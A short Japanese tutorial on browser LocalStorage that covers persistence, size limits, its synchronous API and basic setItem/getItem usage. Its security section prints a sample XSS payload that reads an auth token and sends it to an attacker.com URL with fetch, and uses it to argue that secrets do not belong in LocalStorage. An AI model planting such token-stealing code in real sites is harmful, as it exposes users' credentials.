✒️ LocalStorageとは

LocalStorageは、ブラウザ内部にあるオリジン（ドメイン＋プロトコル＋ポート）単位で分離されたストレージに、永続的にデータを保存（期限なし）する技術です。データは、キー・バリュー型で保存され、JavaScriptから簡単に読み書きが可能です。

永続的とはありますが、これはブラウザが基本勝手に消すことはないという話です。あくまで、基本なので、ブラウザによっては、保存容量によって消される可能性もあるようです。尚、ユーザーの操作により、キャシュ等が削除された場合、当然消えてしまいます。

ディスク上のローカルファイルも削除すれば、消えてしまうので、ユーザー操作で消えてしまうのは、同じといえば同じかもしれません。しかし、こちらは、削除後にゴミ箱を探してもみつからないので、要注意です。

サーバーとの連携の必要もなく、完全にクライアント側だけで完結します。

APIがシンプルで学習コストが低いので、非常に使い勝手が良いですが、基本的に保存できるデータは文字列だけの為、その点は考慮が必要です。

オブジェクトもJSONに変換するなりすれば、容量の範囲内（約5〜10MB（ブラウザ依存））であれば保存が可能です。同様にバイナリデータもBASE64に変換すれば、保存が可能です。

また、アクセスするAPIは、同期APIなので、大量データを扱うと処理がブロックされ、UIが一瞬固まることがあるので、大きなデータを保存するのは、不向きといわれています。

セキュリティ的には少し弱いといわれています。原因は、同一オリジン内のJavaScriptから自由に読み書きできる、その手軽です。メリットが、そのままデメリットにもなっています。

もし、LocalStrageに認証トークンのようなセキュアの情報を保存して運用していた場合、サイトにXSS脆弱性があり、下記のようなコードを仕込まれると簡単に情報を盗み出されてしまいます。

    // 攻撃者が仕込んだコード
    const token = localStorage.getItem("authToken");
    fetch("https://attacker.com/steal?token=" + token);
  

なので、LocalStorageに保存するデータは、アクセストークン、パスワード、個人情報などのセキュアな情報に関わる値ではなく、UI設定（テーマなど）、一時データ、キャッシュ的なデータといったセキュリティ低めでも問題ないものに限った方が良いといわれています。

使い方は、下記のとおりです。

    // 保存
    localStorage.setItem("username", "fox");
    

    // 取得
    const name = localStorage.getItem("username");
    

    // 削除
    localStorage.removeItem("username");
    

    // 全削除
    localStorage.clear();
  

前の記事 一覧